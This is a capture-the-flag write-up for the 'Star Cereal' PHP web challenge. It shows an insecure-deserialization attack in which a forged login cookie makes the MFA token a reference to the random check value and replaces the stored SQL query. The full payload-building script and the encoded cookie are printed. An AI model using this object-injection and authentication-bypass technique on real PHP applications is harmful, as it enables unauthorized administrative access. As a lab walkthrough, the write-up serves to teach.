Post

STANDCON CTF - Star Cereal

Description

Have you heard of Star Cereal? It’s a new brand of cereal that’s been rapidly gaining popularity amongst astronauts - so much so that their devs had to scramble to piece together a website for their business! The stress must have really gotten to them though, because a junior dev accidentally leaked part of the source code…

http://20.198.209.142:55043

The flag is in the flag format: STC{…}

Author: zeyu2001

Solution

By clicking on the Login button on the top right,

![]((/assets/images/cereal_2.jpg)

We are presented with a login page (/login.php). What caught our eye as the MFA Token field. MFA stood for Multi-Factor Authentication, which we would mean that other than submitting an email and password, we would need submit a token, which only the user knows or can generate. We might even need to bypass the check of the MFA token.

We are provide with the following process_login.php, which seems like the backend code that handles the authentication and authorization.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
<?php

class SQL
{
    protected $query;

    function __construct()
    {
        $this->query = "SELECT email, password FROM admins WHERE email=? AND password=?";
    }

    function exec_query($email, $pass)
    {
        $conn = new mysqli("db", getenv("MYSQL_USER"), getenv("MYSQL_PASS"));

        // Check connection
        if ($conn->connect_error) {
            die("Connection failed. Please inform CTF creators.");
        }
        
        $stmt = $conn->prepare($this->query);

        // Sanity check
        if (! $stmt->bind_param("ss", $email, $pass))
        {
            return NULL;
        }
        
        $stmt->execute();
        $result = $stmt->get_result();
        
        return $result;
    }

    }


class User
{
    public $email;
    public $password;

    protected $sql;

    function __construct($email, $password)
    {
        $this->email = $email;
        $this->password = $password;
        $this->sql = new SQL();
    }

    function __toString() 
    {
        return $this->email . ':' . $this->password;
    }

    function is_admin()
    {
        $result = $this->sql->exec_query($this->email, $this->password);
        
        if ($result && $row = $result->fetch_assoc()) {
            if ($row['email'] && $row['password'])
            {
                return true;
            }
        }
        return false;
    }
}


class Login
{
    public $user;
    public $mfa_token;

    protected $_correctValue;

    function __construct($user, $mfa_token)
    {
        $this->user = $user;
        $this->mfa_token = $mfa_token;
    }

    function verifyLogin()
    {
        $this->_correctValue = random_int(1e10, 1e11 - 1);
        if ($this->mfa_token === $this->_correctValue)
        {
            return $this->user->is_admin();
        }
    }
}


// Verify login
if(isset($_COOKIE["login"])){
    try
    {
        $login = unserialize(base64_decode(urldecode($_COOKIE["login"])));
        if ($login->verifyLogin())
        {
            $_SESSION['admin'] = true;
        }
        else
        {
            $_SESSION['admin'] = false;
        }
    }
    catch (Error $e)
    {
        $_SESSION['admin'] = false;
    }
}


// Handle form submission
if (isset($_POST['email']) && isset($_POST['pass']) && isset($_POST['token']))
{
    $login = new Login(new User($_POST['email'], $_POST['pass']), $_POST['token']);
    setcookie("login", urlencode(base64_encode(serialize($login))), time() + (86400 * 30), "/");
    header("Refresh:0");
    die();
}

?>

We can immediately notice the usage of the dangerous serialize and unserialize functions, which presents a possible attack vector via Insecure Deserialization.

1
2
$login = unserialize(base64_decode(urldecode($_COOKIE["login"])));
setcookie("login", urlencode(base64_encode(serialize($login))), time() + (86400 * 30), "/");

Drilling down into the code,

unserialize()

1
2
3
4
5
6
7
8
9
$login = unserialize(base64_decode(urldecode($_COOKIE["login"])));
if ($login->verifyLogin())
{
    $_SESSION['admin'] = true;
}
else
{
    $_SESSION['admin'] = false;
}

We see that the page will automatically call unserialize on the base64 url-decoded value in the login cookie and call the deserialized object’s verifyLogin() method, which would mean the $login object is a Login object. Let’s look at the Login’s properties and verifyLogin():

Login->verifyLogin()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Login
{
    public $user;
    public $mfa_token;

    protected $_correctValue;
    ...
    function verifyLogin()
    {
        $this->_correctValue = random_int(1e10, 1e11 - 1);
        if ($this->mfa_token === $this->_correctValue)
        {
            return $this->user->is_admin();
        }
    }

Inside verifyLogin(), a random large integer between 1e10 and 1e11 is generated, stored as _correctValue and then if _correctValue is the same as mfa_token, it will then proceed to call user’s is_admin() method.

This might seem foolproof at first as there is no way to predict or even brute force the number generated, but according to this writeup found on the Internet, we could force the mfa_token to be a reference to the _correctValue.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Login
{
    public $user;
    public $mfa_token;
	
    protected $_correctValue;
	
    function __construct($user, $mfa_token)
    {
        $this->user = $user;
        $this->mfa_token = &$this->_correctValue;
    }
    function verifyLogin()
    ...
}

When verifyLogin() is called, the _correctValue is populated with the random large integer and because mfa_token references _correctValue, they will always share the same value!

Next, we look at the is_admin() method of the User class:

User->is_admin()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class User
{
    public $email;
    public $password;

    protected $sql;
    ...
    function is_admin()
    {
        $result = $this->sql->exec_query($this->email, $this->password);
        
        if ($result && $row = $result->fetch_assoc()) {
            if ($row['email'] && $row['password'])
            {
                return true;
            }
        }
        return false;
    }
}

A User object will contain an instance of the SQL class and the is_admin() function will call the SQL object’s exec_query(), which seems to be used to query the database and check if the email and password are valid.

SQL->exec_query()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
class SQL
{
    protected $query;

    function __construct()
    {
        $this->query = "SELECT email, password FROM admins WHERE email=? AND password=?";
    }

    function exec_query($email, $pass)
    {
        $conn = new mysqli("db", getenv("MYSQL_USER"), getenv("MYSQL_PASS"));

        // Check connection
        if ($conn->connect_error) {
            die("Connection failed. Please inform CTF creators.");
        }
        
        $stmt = $conn->prepare($this->query);

        // Sanity check
        if (! $stmt->bind_param("ss", $email, $pass))
        {
            return NULL;
        }
        
        $stmt->execute();
        $result = $stmt->get_result();
        
        return $result;
    }
}

We see that the SQL query is stored in query and the exec_query() method uses bind_param() to set the email and password in the query before executing it. While we do not know any valid email or passwords, we could replace the contents of query with our own custom query while making sure that are 2 ?s inside of it.

1
2
3
4
5
6
7
8
9
10
11
class SQL
{
    protected $query;

    function __construct()
    {
        $this->query = "SELECT ? as email,? as password,SLEEP(5)";
    }
    function exec_query($email, $pass)
    ...
}

I’ve added a SLEEP(5) so that we would be able to observe a delay to ascertain that our query is being executed.

Payload creation

To put it all together, I used the following script to create the cookie we need.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
$ cat cereal.php
<?php
class SQL
{
    protected $query;
    
    function __construct()
    {
        $this->query = "SELECT ? as email,? as password,SLEEP(5)";
    }
}

class User
{
    public $email;
    public $password;

    protected $sql;

    function __construct($email, $password)
    {
        $this->email = $email;
        $this->password = $password;
        $this->sql = new SQL();
    }
}

class Login
{
    public $user;
    public $mfa_token;

    protected $_correctValue;

    function __construct($user, $mfa_token)
    {
        $this->user = $user;
        $this->mfa_token = &$this->_correctValue;
    }
}

$loginAttempt = new Login(new User("admin@admin.com", "password"), -1);
$output = urlencode(base64_encode(serialize($loginAttempt)));
var_dump($output);
?>


$ php cereal.php
string(326) "Tzo1OiJMb2dpbiI6Mzp7czo0OiJ1c2VyIjtPOjQ6IlVzZXIiOjM6e3M6NToiZW1haWwiO3M6MTU6ImFkbWluQGFkbWluLmNvbSI7czo4OiJwYXNzd29yZCI7czo4OiJwYXNzd29yZCI7czo2OiIAKgBzcWwiO086MzoiU1FMIjoxOntzOjg6IgAqAHF1ZXJ5IjtzOjQwOiJTRUxFQ1QgPyBhcyBlbWFpbCw%2FIGFzIHBhc3N3b3JkLFNMRUVQKDUpIjt9fXM6OToibWZhX3Rva2VuIjtOO3M6MTY6IgAqAF9jb3JyZWN0VmFsdWUiO1I6Nzt9"

We can then take this long string and add it as a login cookie to our browser and refresh the page.

We would notice a 5 seconds delay due to the SLEEP(5), and we would be presented with the flag!

Flag

STC{1ns3cur3_d3s3r14l1z4t10n_7b20b860e23a128688cffc07a5b7e898}

This post is licensed under CC BY 4.0 by the author.